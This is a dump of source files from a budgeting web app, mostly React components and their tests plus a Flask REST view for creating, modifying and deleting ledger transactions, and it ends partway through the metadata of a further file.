"alphanum_fraction": 0.6938483715057373, "avg_line_length": 23.964284896850586, "blob_id": "9725a073f8c57e44c7acd4894a6108487fd0edcd", "content_id": "8b8444490044c78dc3700d2d85f08c3582b41416", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 699, "license_type": "permissive", "max_line_length": 63, "num_lines": 28, "path": "/webapp/src/features/ledgers/components/CreateDemoLedgerDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport FormDialog from 'common/components/FormDialog';\nimport useCreateDemoLedger from '../hooks/useCreateDemoLedger';\nimport DemoLedgerForm from './DemoLedgerForm';\n\nconst initialValues = {\n name: '',\n currency: 840, // USD\n months: 3,\n seed: Math.floor(Math.random() * 1000 + 1), // 1-1000\n};\n\nconst CreateDemoLedgerDialog = () => {\n const { mutate } = useCreateDemoLedger();\n return (\n <FormDialog\n actionText='Create'\n FormComponent={DemoLedgerForm}\n initialValues={initialValues}\n onSubmit={mutate}\n title='Create Demo'\n validationSchema={DemoLedgerForm.validationSchema}\n />\n );\n};\n\nexport default CreateDemoLedgerDialog;\n" }, { "alpha_fraction": 0.6397952437400818, "alphanum_fraction": 0.6458733081817627, "avg_line_length": 35.348838806152344, "blob_id": "62aba83a664fcbe10839ebef17561e26e98924ff", "content_id": "baaef776afe51f2a95bb64823f5f012487bf86a3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 6252, "license_type": "permissive", "max_line_length": 95, "num_lines": 172, "path": "/webapp/src/features/accounts/components/__tests__/AccountCategorySelectField.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { render as baseRender, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport { Field, Form, Formik } from 'formik';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { MemoryRouter } from 'react-router-dom';\n\nimport AccountCategorySelectField from '../AccountCategorySelectField';\n\nconst URL = '/api/ledgers/ledger-id/account-categories';\n\nconst defaultConfigureMock = (mock) => {\n mock.onGet(URL).reply(200, {\n categories: [\n { id: 'category-id-1', name: 'Category 1' },\n { id: 'category-id-2', name: 'Category 2' },\n ],\n });\n};\n\nconst render = (\n ui,\n {\n configureMock = defaultConfigureMock,\n initialValues = {},\n selectedLedger = 'ledger-id',\n validate = () => ({}),\n },\n) => {\n localStorage.setItem('underbudget.selected.ledger', selectedLedger);\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n staleTime: Infinity,\n },\n },\n });\n\n const mock = new MockAdapter(axios);\n configureMock(mock);\n\n const handleSubmit = jest.fn();\n\n // eslint-disable-next-line react/prop-types\n const Wrapper = ({ children }) => (\n <QueryClientProvider client={queryClient}>\n <MemoryRouter>\n <Formik initialValues={initialValues} onSubmit={handleSubmit} validate={validate}>\n <Form>\n {children}\n <button type='submit'>Submit</button>\n </Form>\n </Formik>\n </MemoryRouter>\n </QueryClientProvider>\n );\n return {\n ...baseRender(ui, { wrapper: Wrapper }),\n handleSubmit,\n mock,\n };\n};\n\ndescribe('AccountCategorySelectField', () => {\n it('should display current category name', async () => {\n render(<Field name='catField' component={AccountCategorySelectField} />, {\n initialValues: { catField: 'category-id-2' },\n });\n await waitFor(() => expect(screen.getByRole('textbox')).toHaveValue('Category 2'));\n });\n\n it('should display nothing when field is empty', async () => {\n const { mock } = render(<Field name='catField' component={AccountCategorySelectField} />, {\n initialValues: { catField: '' },\n });\n await waitFor(() => expect(mock.history.get.length).toBe(1));\n expect(screen.getByRole('textbox')).toHaveValue('');\n });\n\n it('should display nothing when unable to fetch categories', async () => {\n const { mock } = render(<Field name='catField' component={AccountCategorySelectField} />, {\n configureMock: () => 0,\n initialValues: { catField: 'category-id-2' },\n });\n await waitFor(() => expect(mock.history.get.length).toBe(1));\n expect(screen.getByRole('textbox')).toHaveValue('');\n });\n\n it('should display nothing when category does not exist', async () => {\n const { mock } = render(<Field name='catField' component={AccountCategorySelectField} />, {\n initialValues: { catField: 'category-id-3' },\n });\n await waitFor(() => expect(mock.history.get.length).toBe(1));\n expect(screen.getByRole('textbox')).toHaveValue('');\n });\n\n it('should set field value to selected category ID', async () => {\n const { handleSubmit } = render(\n <Field name='catField' component={AccountCategorySelectField} />,\n {\n initialValues: { catField: 'category-id-1' },\n },\n );\n await waitFor(() => expect(screen.getByRole('textbox')).toHaveValue('Category 1'));\n\n userEvent.click(screen.getByRole('button', { name: /open/i }));\n userEvent.click(screen.getByRole('option', { name: 'Category 2' }));\n await waitFor(() => expect(screen.getByRole('textbox')).toHaveValue('Category 2'));\n\n userEvent.click(screen.getByRole('button', { name: /submit/i }));\n\n await waitFor(() => expect(handleSubmit).toHaveBeenCalled());\n expect(handleSubmit.mock.calls[0][0]).toEqual({ catField: 'category-id-2' });\n expect(screen.getByRole('textbox')).toBeDisabled();\n });\n\n it('should set field value to directly entered category ID', async () => {\n const { handleSubmit } = render(\n <Field name='catField' component={AccountCategorySelectField} />,\n {\n initialValues: { catField: 'category-id-1' },\n },\n );\n await waitFor(() => expect(screen.getByRole('textbox')).toHaveValue('Category 1'));\n\n userEvent.clear(screen.getByRole('textbox'));\n await userEvent.type(screen.getByRole('textbox'), 'Category 2');\n\n userEvent.click(screen.getByRole('button', { name: /submit/i }));\n\n await waitFor(() => expect(handleSubmit).toHaveBeenCalled());\n expect(handleSubmit.mock.calls[0][0]).toEqual({ catField: 'category-id-2' });\n expect(screen.getByRole('textbox')).toBeDisabled();\n });\n\n it('should not set field value when invalid category is entered', async () => {\n const { handleSubmit } = render(\n <Field name='catField' component={AccountCategorySelectField} />,\n {\n initialValues: { catField: 'category-id-1' },\n },\n );\n await waitFor(() => expect(screen.getByRole('textbox')).toHaveValue('Category 1'));\n\n userEvent.clear(screen.getByRole('textbox'));\n await userEvent.type(screen.getByRole('textbox'), 'Category 5');\n userEvent.click(screen.getByRole('button', { name: /submit/i }));\n\n await waitFor(() => expect(handleSubmit).toHaveBeenCalled());\n expect(handleSubmit.mock.calls[0][0]).toEqual({ catField: 'category-id-1' });\n\n expect(screen.getByRole('textbox')).toHaveValue('Category 1');\n });\n\n it('should show validation error text when invalid', async () => {\n render(<Field name='catField' component={AccountCategorySelectField} />, {\n initialValues: { catField: 'category-id-1' },\n validate: () => ({ catField: 'Category is bad' }),\n });\n await waitFor(() => expect(screen.getByRole('textbox')).toHaveValue('Category 1'));\n expect(screen.queryByText(/category is bad/i)).not.toBeInTheDocument();\n\n userEvent.clear(screen.getByRole('textbox'));\n await userEvent.type(screen.getByRole('textbox'), 'Category 2');\n userEvent.click(screen.getByRole('button', { name: /submit/i }));\n\n await waitFor(() => expect(screen.getByText(/category is bad/i)).toBeInTheDocument());\n });\n});\n" }, { "alpha_fraction": 0.6569343209266663, "alphanum_fraction": 0.6603692770004272, "avg_line_length": 26.7261905670166, "blob_id": "d848a7cc64f1de64c5d3d29f7b7161d58a7aa4b7", "content_id": "9060715d4e00076a1fc657487947b68caca6a8ca", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2329, "license_type": "permissive", "max_line_length": 79, "num_lines": 84, "path": "/webapp/src/common/components/AppBar/RightIconButtons.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import IconButton from '@material-ui/core/IconButton';\nimport Tooltip from '@material-ui/core/Tooltip';\nimport MoreVertIcon from '@material-ui/icons/MoreVert';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useMobile from '../../hooks/useMobile';\nimport actionPropsShape from '../../utils/action-props';\nimport toList from '../../utils/to-list';\nimport PureActionMenu from '../PureActionMenu';\n\nconst RightIconButtons = ({ primaryActions, secondaryActions }) => {\n const [overflowMenuAnchor, setOverflowMenuAnchor] = React.useState(null);\n const handleOpenOverflowMenu = (e) => setOverflowMenuAnchor(e.currentTarget);\n const handleCloseOverflowMenu = () => setOverflowMenuAnchor(null);\n\n const mobile = useMobile();\n\n let visibleActions = toList(primaryActions);\n let overflowActions = toList(secondaryActions);\n let overflowMenu = null;\n\n // If we have to truncate, move all actions into overflow actions\n if (mobile) {\n let numVisible = visibleActions.length;\n if (overflowActions.length > 0) {\n numVisible += 1;\n }\n if (numVisible > 2) {\n overflowActions = [...visibleActions, ...overflowActions];\n visibleActions = [];\n }\n }\n\n if (overflowActions.length > 0) {\n overflowMenu = (\n <PureActionMenu\n actions={overflowActions}\n anchor={overflowMenuAnchor}\n onClose={handleCloseOverflowMenu}\n />\n );\n visibleActions.push({\n 'aria-label': 'open actions menu',\n icon: <MoreVertIcon />,\n onClick: handleOpenOverflowMenu,\n text: 'Open actions menu',\n });\n }\n\n return (\n <>\n {visibleActions.map((action, idx) => (\n <Tooltip enterDelay={750} key={action.text} title={action.text}>\n <IconButton\n color='inherit'\n edge={idx === visibleActions.length - 1 ? 'end' : false}\n {...action}\n >\n {action.icon}\n </IconButton>\n </Tooltip>\n ))}\n {overflowMenu}\n </>\n );\n};\n\nconst actionPropsType = PropTypes.oneOfType([\n actionPropsShape,\n PropTypes.arrayOf(actionPropsShape),\n]);\n\nRightIconButtons.propTypes = {\n primaryActions: actionPropsType,\n secondaryActions: actionPropsType,\n};\n\nRightIconButtons.defaultProps = {\n primaryActions: null,\n secondaryActions: null,\n};\n\nexport default RightIconButtons;\n" }, { "alpha_fraction": 0.7134831547737122, "alphanum_fraction": 0.7134831547737122, "avg_line_length": 34.599998474121094, "blob_id": "c20570e1b2d68ac7bdf645e9be4c66dcb79fdbf2", "content_id": "7d10526a319419aa8209b2e06676c59382cac64e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 356, "license_type": "permissive", "max_line_length": 80, "num_lines": 10, "path": "/webapp/src/features/ledgers/hooks/useCreateLedger.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport useMutation from 'common/hooks/useMutation';\n\nexport default (opts) =>\n useMutation((data) => axios.post('/api/ledgers', data), {\n createErrorMessage: useErrorMessage({ request: 'Unable to create ledger' }),\n refetchQueries: 'ledgers',\n ...opts,\n });\n" }, { "alpha_fraction": 0.6917221546173096, "alphanum_fraction": 0.6917221546173096, "avg_line_length": 24.634145736694336, "blob_id": "5e982c0cf13805024b7cc810201b45052bd04bfe", "content_id": "c90d1b253a4b19abd0330b63b223071a78318192", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1051, "license_type": "permissive", "max_line_length": 97, "num_lines": 41, "path": "/webapp/src/common/contexts/selection/selection.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useSelectionReducer from './useSelectionReducer';\n\nconst SelectionContext = React.createContext();\n\nconst SelectionContextProvider = ({ children }) => (\n <SelectionContext.Provider value={useSelectionReducer()}>{children}</SelectionContext.Provider>\n);\n\nSelectionContextProvider.propTypes = {\n children: PropTypes.oneOfType([PropTypes.node, PropTypes.arrayOf(PropTypes.node)]).isRequired,\n};\n\nconst useSelection = () => {\n const context = React.useContext(SelectionContext);\n if (context === undefined) {\n throw new Error('useSelection must be used within a SelectionContextProvider');\n }\n\n const [selected, dispatch] = context;\n\n const clear = () => dispatch({ type: 'clear' });\n\n const select = (payload) =>\n dispatch({\n type: 'select',\n payload,\n });\n\n const unselect = (payload) =>\n dispatch({\n type: 'unselect',\n payload,\n });\n\n return { selected, clear, select, unselect };\n};\n\nexport { SelectionContextProvider, useSelection };\n" }, { "alpha_fraction": 0.6129707098007202, "alphanum_fraction": 0.6239539980888367, "avg_line_length": 35.41904830932617, "blob_id": "6c3b58ecefba9f40be13db934d0256254624512a", "content_id": "fc3341609f49b33433f4ca9cdead77df53184985", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3824, "license_type": "permissive", "max_line_length": 90, "num_lines": 105, "path": "/webapp/src/common/components/CurrencyInputField/CurrencyInputField.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { fireEvent, render, screen, waitFor } from '@testing-library/react';\nimport { Field, Form, Formik } from 'formik';\nimport React from 'react';\n\nimport CurrencyInputField from './CurrencyInputField';\n\ndescribe('CurrencyInputField', () => {\n it('should display current currency as ISO 4217 code', () => {\n render(\n <Formik initialValues={{ currField: 980 }}>\n <Field name='currField' component={CurrencyInputField} />\n </Formik>,\n );\n expect(screen.getByRole('textbox')).toHaveValue('UAH');\n });\n\n it('should display nothing when value is not a valid ISO 4217 number', () => {\n render(\n <Formik initialValues={{ currField: 9999 }}>\n <Field name='currField' component={CurrencyInputField} />\n </Formik>,\n );\n expect(screen.getByRole('textbox')).toHaveValue('');\n });\n\n it('should set field value to selected currency', async () => {\n const handleSubmit = jest.fn();\n render(\n <Formik initialValues={{ currField: 840 }} onSubmit={handleSubmit}>\n <Form>\n <Field name='currField' component={CurrencyInputField} />\n <button type='submit'>Submit</button>\n </Form>\n </Formik>,\n );\n\n fireEvent.click(screen.getByRole('button', { name: /open/i }));\n fireEvent.click(screen.getByRole('option', { name: /RUB/i }));\n fireEvent.click(screen.getByRole('button', { name: /submit/i }));\n\n await waitFor(() => expect(handleSubmit).toHaveBeenCalled());\n expect(handleSubmit.mock.calls[0][0]).toEqual({ currField: 643 });\n });\n\n it('should set field value to directly entered currency', async () => {\n const handleSubmit = jest.fn();\n render(\n <Formik initialValues={{ currField: 840 }} onSubmit={handleSubmit}>\n <Form>\n <Field name='currField' component={CurrencyInputField} />\n <button type='submit'>Submit</button>\n </Form>\n </Formik>,\n );\n\n fireEvent.change(screen.getByRole('textbox'), { target: { value: 'EUR' } });\n fireEvent.click(screen.getByRole('button', { name: /submit/i }));\n\n await waitFor(() => expect(handleSubmit).toHaveBeenCalled());\n expect(handleSubmit.mock.calls[0][0]).toEqual({ currField: 978 });\n });\n\n it('should not set field value when invalid currency is entered', async () => {\n const handleSubmit = jest.fn();\n render(\n <Formik initialValues={{ currField: 840 }} onSubmit={handleSubmit}>\n <Form>\n <Field name='currField' component={CurrencyInputField} />\n <button type='submit'>Submit</button>\n </Form>\n </Formik>,\n );\n\n fireEvent.change(screen.getByRole('textbox'), { target: { value: 'WAMPUM' } });\n fireEvent.click(screen.getByRole('button', { name: /submit/i }));\n\n await waitFor(() => expect(handleSubmit).toHaveBeenCalled());\n expect(handleSubmit.mock.calls[0][0]).toEqual({ currField: 840 });\n\n expect(screen.getByRole('textbox')).toHaveValue('WAMPUM');\n fireEvent.blur(screen.getByRole('textbox'));\n await waitFor(() => expect(screen.getByRole('textbox')).toHaveValue('USD'));\n });\n\n it('should show validation error text when invalid', async () => {\n const handleSubmit = jest.fn();\n render(\n <Formik\n initialValues={{ currField: 840 }}\n onSubmit={handleSubmit}\n validate={() => ({ currField: 'Currency is bad' })}\n >\n <Form>\n <Field name='currField' component={CurrencyInputField} />\n <button type='submit'>Submit</button>\n </Form>\n </Formik>,\n );\n\n expect(screen.queryByText(/currency is bad/i)).not.toBeInTheDocument();\n fireEvent.change(screen.getByRole('textbox'), { target: { value: 'EUR' } });\n fireEvent.blur(screen.getByRole('textbox'));\n await waitFor(() => expect(screen.getByText(/currency is bad/i)).toBeInTheDocument());\n });\n});\n" }, { "alpha_fraction": 0.6545871496200562, "alphanum_fraction": 0.6568807363510132, "avg_line_length": 26.25, "blob_id": "1678bdb33b508e3c2a2393839d49be728953eda8", "content_id": "58c388acaceadfaf6f9b17b806481a98689e0335", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2180, "license_type": "permissive", "max_line_length": 96, "num_lines": 80, "path": "/webapp/src/common/components/PureDrawer/PureDrawer.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Drawer from '@material-ui/core/Drawer';\nimport SwipeableDrawer from '@material-ui/core/SwipeableDrawer';\nimport { makeStyles } from '@material-ui/core/styles';\nimport clsx from 'clsx';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nconst drawerWidth = 240;\n\nconst useStyles = makeStyles((theme) => ({\n appBarSpacer: theme.mixins.toolbar,\n drawerPaper: {\n position: 'relative',\n transition: theme.transitions.create('width', {\n duration: theme.transitions.duration.enteringScreen,\n easing: theme.transitions.easing.sharp,\n }),\n whiteSpace: 'nowrap',\n width: drawerWidth,\n },\n drawerPaperClosed: {\n overflowX: 'hidden',\n transition: theme.transitions.create('width', {\n duration: theme.transitions.duration.leavingScreen,\n easing: theme.transitions.easing.sharp,\n }),\n width: 0,\n [theme.breakpoints.up('sm')]: {\n width: theme.spacing(7),\n },\n },\n mobileDrawerPaper: {\n width: drawerWidth,\n },\n}));\n\nconst PureDrawer = ({ children, onClose, onOpen, open, variant }) => {\n const classes = useStyles();\n if (variant === 'temporary') {\n const iOS = process.browser && /iPad|iPhone|iPod/.test(navigator.userAgent);\n return (\n <SwipeableDrawer\n anchor='left'\n classes={{ paper: clsx(classes.mobileDrawerPaper) }}\n // disableBackdropTransition={!iOS}\n disableDiscovery={iOS}\n onClose={onClose}\n onOpen={onOpen}\n open={open}\n >\n {children}\n </SwipeableDrawer>\n );\n }\n return (\n <Drawer\n classes={{ paper: clsx(classes.drawerPaper, !open && classes.drawerPaperClosed) }}\n onClose={onClose}\n open={open}\n variant='permanent'\n >\n <div className={classes.appBarSpacer} />\n {children}\n </Drawer>\n );\n};\n\nPureDrawer.propTypes = {\n children: PropTypes.oneOfType([PropTypes.node, PropTypes.arrayOf(PropTypes.node)]).isRequired,\n onClose: PropTypes.func.isRequired,\n onOpen: PropTypes.func.isRequired,\n open: PropTypes.bool.isRequired,\n variant: PropTypes.oneOf(['temporary', 'permanent']),\n};\n\nPureDrawer.defaultProps = {\n variant: 'permanent',\n};\n\nexport default PureDrawer;\n" }, { "alpha_fraction": 0.6119417548179626, "alphanum_fraction": 0.6168295741081238, "avg_line_length": 37.64444351196289, "blob_id": "dbe296f587fe3d6fa5dfbe187d8607ab02f14007", "content_id": "651cd202616caa14faf492befb2b5fb93b6bb8d3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10434, "license_type": "permissive", "max_line_length": 90, "num_lines": 270, "path": "/backend/underbudget/views/transactions.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Transactions REST view \"\"\"\nfrom datetime import datetime\nfrom typing import Any, Dict\nfrom flask import Flask\nfrom flask.views import MethodView\nfrom werkzeug.exceptions import BadRequest, NotFound\n\nfrom underbudget.common.decorators import use_args, with_pagination\nfrom underbudget.database import db\nfrom underbudget.models.account import AccountCategoryModel, AccountModel\nfrom underbudget.models.envelope import EnvelopeCategoryModel, EnvelopeModel\nfrom underbudget.models.ledger import LedgerModel\nfrom underbudget.models.transaction import (\n AccountTransactionModel,\n EnvelopeTransactionModel,\n TransactionModel,\n)\nimport underbudget.schemas.transaction as schema\n\n\ntransaction_schema = schema.TransactionSchema()\npatch_schema = schema.TransactionPatchSchema()\nacct_trn_history_schema = schema.AccountTransactionHistorySchema()\nenv_trn_history_schema = schema.EnvelopeTransactionHistorySchema()\n\n\nclass TransactionsView(MethodView):\n \"\"\" Transaction REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"transactions\")\n app.add_url_rule(\n \"/api/ledgers/<int:ledger_id>/transactions\",\n view_func=view,\n methods=[\"POST\"],\n )\n app.add_url_rule(\n \"/api/transactions/<int:transaction_id>\",\n view_func=view,\n methods=[\"GET\", \"PATCH\", \"DELETE\"],\n )\n\n @staticmethod\n def get(transaction_id: int):\n \"\"\" Gets a specific transaction \"\"\"\n return transaction_schema.dump(\n TransactionModel.query.get_or_404(transaction_id)\n )\n\n @classmethod\n @use_args(transaction_schema)\n def post(cls, args: Dict[str, Any], ledger_id: int):\n \"\"\" Creates a new transaction in the specified ledger \"\"\"\n LedgerModel.query.get_or_404(ledger_id)\n\n now = datetime.now()\n new_transaction = TransactionModel(\n ledger_id=ledger_id,\n transaction_type=args.get(\"transaction_type\"),\n recorded_date=args[\"recorded_date\"],\n payee=args[\"payee\"],\n created=now,\n last_updated=now,\n )\n\n for acct_trn_args in args[\"account_transactions\"]:\n cls.add_account_transaction(acct_trn_args, new_transaction)\n\n for env_trn_args in args[\"envelope_transactions\"]:\n cls.add_envelope_transaction(env_trn_args, new_transaction)\n\n new_transaction.validate()\n new_transaction.save()\n return {\"id\": int(new_transaction.id)}, 201\n\n @classmethod\n @use_args(patch_schema)\n def patch(cls, args: Dict[str, Any], transaction_id: int):\n \"\"\" Modifies a specific transaction \"\"\"\n transaction = TransactionModel.query.get_or_404(transaction_id)\n\n with db.session.no_autoflush:\n transaction.transaction_type = args.get(\"transaction_type\")\n transaction.recorded_date = args[\"recorded_date\"]\n transaction.payee = args[\"payee\"]\n\n for added in args[\"account_transactions\"].get(\"add\", []):\n cls.add_account_transaction(added, transaction)\n\n for modified in args[\"account_transactions\"].get(\"modify\", []):\n cls.modify_account_transaction(modified, transaction)\n\n for deleted in args[\"account_transactions\"].get(\"delete\", []):\n cls.delete_account_transaction(deleted, transaction)\n\n for added in args[\"envelope_transactions\"].get(\"add\", {}):\n cls.add_envelope_transaction(added, transaction)\n\n for modified in args[\"envelope_transactions\"].get(\"modify\", []):\n cls.modify_envelope_transaction(modified, transaction)\n\n for deleted in args[\"envelope_transactions\"].get(\"delete\", []):\n cls.delete_envelope_transaction(deleted, transaction)\n\n transaction.validate()\n\n transaction.save()\n return {}, 200\n\n @staticmethod\n def delete(transaction_id: int):\n \"\"\" Deletes a specific transaction \"\"\"\n transaction = TransactionModel.query.get_or_404(transaction_id)\n transaction.delete()\n return {}, 204\n\n @staticmethod\n def add_account_transaction(args: Dict[str, Any], transaction: TransactionModel):\n \"\"\" Adds a new account transaction to the given transaction \"\"\"\n account = AccountModel.query.get_or_404(args[\"account_id\"])\n category = AccountCategoryModel.query.get_or_404(account.category_id)\n\n if category.ledger_id != transaction.ledger_id:\n raise BadRequest(\"Account is from different ledger\")\n\n transaction.account_transactions.append(\n AccountTransactionModel(\n account_id=args[\"account_id\"],\n amount=args[\"amount\"],\n memo=args[\"memo\"],\n cleared=args[\"cleared\"],\n )\n )\n\n @staticmethod\n def modify_account_transaction(args: Dict[str, Any], transaction: TransactionModel):\n \"\"\" Modifies an existing account transaction under the given transaction \"\"\"\n for acct_trn in transaction.account_transactions:\n if acct_trn.id == args[\"id\"]:\n if acct_trn.account_id != args[\"account_id\"]:\n # TODO reject mod when reconciled, not cleared # pylint: disable=fixme\n # if acct_trn.cleared:\n # raise BadRequest(\"Cannot modify cleared account transaction\")\n\n account = AccountModel.query.get_or_404(args[\"account_id\"])\n category = AccountCategoryModel.query.get_or_404(\n account.category_id\n )\n\n if category.ledger_id != transaction.ledger_id:\n raise BadRequest(\"Account is from different ledger\")\n\n acct_trn.account_id = args[\"account_id\"]\n\n if acct_trn.amount != args[\"amount\"]:\n # TODO reject mod when reconciled, not cleared # pylint: disable=fixme\n # if acct_trn.cleared:\n # raise BadRequest(\"Cannot modify cleared account transaction\")\n acct_trn.amount = args[\"amount\"]\n\n acct_trn.memo = args[\"memo\"]\n acct_trn.cleared = args[\"cleared\"]\n return\n raise NotFound(\"Account transaction not found\")\n\n @staticmethod\n def delete_account_transaction(transaction_id: int, transaction: TransactionModel):\n \"\"\" Deletes an existing account transaction from the given transaction \"\"\"\n for acct_trn in transaction.account_transactions:\n if acct_trn.id == transaction_id:\n transaction.account_transactions.remove(acct_trn)\n return\n raise NotFound(\"Account transaction not found\")\n\n @staticmethod\n def add_envelope_transaction(args: Dict[str, Any], transaction: TransactionModel):\n \"\"\" Adds a new envelope transaction to the given transaction \"\"\"\n envelope = EnvelopeModel.query.get_or_404(args[\"envelope_id\"])\n category = EnvelopeCategoryModel.query.get_or_404(envelope.category_id)\n\n if category.ledger_id != transaction.ledger_id:\n raise BadRequest(\"Envelope is from different ledger\")\n\n transaction.envelope_transactions.append(\n EnvelopeTransactionModel(\n envelope_id=args[\"envelope_id\"],\n amount=args[\"amount\"],\n memo=args[\"memo\"],\n )\n )\n\n @staticmethod\n def modify_envelope_transaction(\n args: Dict[str, Any], transaction: TransactionModel\n ):\n \"\"\" Modifies an existing envelope transaction under the given transaction \"\"\"\n for env_trn in transaction.envelope_transactions:\n if env_trn.id == args[\"id\"]:\n if env_trn.envelope_id != args[\"envelope_id\"]:\n envelope = EnvelopeModel.query.get_or_404(args[\"envelope_id\"])\n category = EnvelopeCategoryModel.query.get_or_404(\n envelope.category_id\n )\n\n if category.ledger_id != transaction.ledger_id:\n raise BadRequest(\"Envelope is from different ledger\")\n\n env_trn.envelope_id = args[\"envelope_id\"]\n\n env_trn.amount = args[\"amount\"]\n env_trn.memo = args[\"memo\"]\n return\n raise NotFound(\"Envelope transaction not found\")\n\n @staticmethod\n def delete_envelope_transaction(transaction_id: int, transaction: TransactionModel):\n \"\"\" Deletes an existing envelope transaction from the given transaction \"\"\"\n for env_trn in transaction.envelope_transactions:\n if env_trn.id == transaction_id:\n transaction.envelope_transactions.remove(env_trn)\n return\n raise NotFound(\"Account transaction not found\")\n\n\nclass AccountTransactionsView(MethodView):\n \"\"\" Account transaction REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"account-transactions\")\n app.add_url_rule(\n \"/api/accounts/<int:account_id>/transactions\",\n view_func=view,\n methods=[\"GET\"],\n )\n\n @staticmethod\n @with_pagination\n def get(account_id: int, page: int, size: int):\n \"\"\" Gets transaction history for an account \"\"\"\n AccountModel.query.get_or_404(account_id)\n return acct_trn_history_schema.dump(\n AccountTransactionModel.get_history(account_id, page, size)\n )\n\n\nclass EnvelopeTransactionsView(MethodView):\n \"\"\" Envelope transaction REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"envelope-transactions\")\n app.add_url_rule(\n \"/api/envelopes/<int:envelope_id>/transactions\",\n view_func=view,\n methods=[\"GET\"],\n )\n\n @staticmethod\n @with_pagination\n def get(envelope_id: int, page: int, size: int):\n \"\"\" Gets transaction history for an envelope \"\"\"\n EnvelopeModel.query.get_or_404(envelope_id)\n return env_trn_history_schema.dump(\n EnvelopeTransactionModel.get_history(envelope_id, page, size)\n )\n" }, { "alpha_fraction": 0.6791045069694519, "alphanum_fraction": 0.6849088072776794, "avg_line_length": 24.659574508666992, "blob_id": "c849418b1648a3bf623dcb4bbcd39156226ba703", "content_id": "2f9770727c9b65ccf06934208263415f316b3b34", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1206, "license_type": "permissive", "max_line_length": 93, "num_lines": 47, "path": "/webapp/src/features/transactions/components/__stories__/TransactionsTable.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { action } from '@storybook/addon-actions';\nimport React from 'react';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport { transactionGenerator } from 'test/data-generators';\nimport TransactionsTable from '../TransactionsTable';\n\nexport default {\n title: 'transactions/TransactionsTable',\n component: TransactionsTable,\n decorators: [\n (story) => {\n setSelectedLedger(2);\n return story();\n },\n ],\n parameters: {\n api: {\n get: [['/api/ledgers/2', { currency: 840 }]],\n },\n },\n};\n\nconst Template = (args) => (\n <TransactionsTable loading={false} onClick={action('click')} transactions={[]} {...args} />\n);\n\nexport const Loading = Template.bind({});\nLoading.args = { loading: true };\n\nexport const NoTransactions = Template.bind({});\n\nexport const OneTransaction = Template.bind({});\nOneTransaction.args = {\n transactions: [transactionGenerator()],\n};\n\nexport const SeveralTransactions = Template.bind({});\nSeveralTransactions.args = {\n transactions: [...Array(5)].map(transactionGenerator),\n};\n\nexport const NoClickAction = Template.bind({});\nNoClickAction.args = {\n onClick: null,\n transactions: [...Array(5)].map(transactionGenerator),\n};\n" }, { "alpha_fraction": 0.6679151058197021, "alphanum_fraction": 0.6691635251045227, "avg_line_length": 24.838708877563477, "blob_id": "98723255e34ab6473f710146f77b5923dfb4e014", "content_id": "94ddcc43a6d2f94ec25c8b6445e1961455ba890b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 801, "license_type": "permissive", "max_line_length": 99, "num_lines": 31, "path": "/webapp/src/features/budgets/components/AnnualAmountField.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { Field, useField } from 'formik';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport MoneyInputField from 'common/components/MoneyInputField';\nimport { labels } from '../utils/periods';\n\nconst AnnualAmountField = ({ periods }) => {\n const [field] = useField('details');\n const hasDetails = field.value.length !== 0;\n return (\n <Field\n component={MoneyInputField}\n disabled={hasDetails}\n fullWidth\n helperText={hasDetails ? '' : `Evenly divided over ${labels[periods].toLowerCase()} periods`}\n id='expense-amount'\n label='Amount'\n margin='normal'\n name='amount'\n required\n variant='outlined'\n />\n );\n};\n\nAnnualAmountField.propTypes = {\n periods: PropTypes.number.isRequired,\n};\n\nexport default AnnualAmountField;\n" }, { "alpha_fraction": 0.6981481313705444, "alphanum_fraction": 0.699999988079071, "avg_line_length": 37.57143020629883, "blob_id": "e7479033795519ed90ea2fcffaad1dbf3bcfbdde", "content_id": 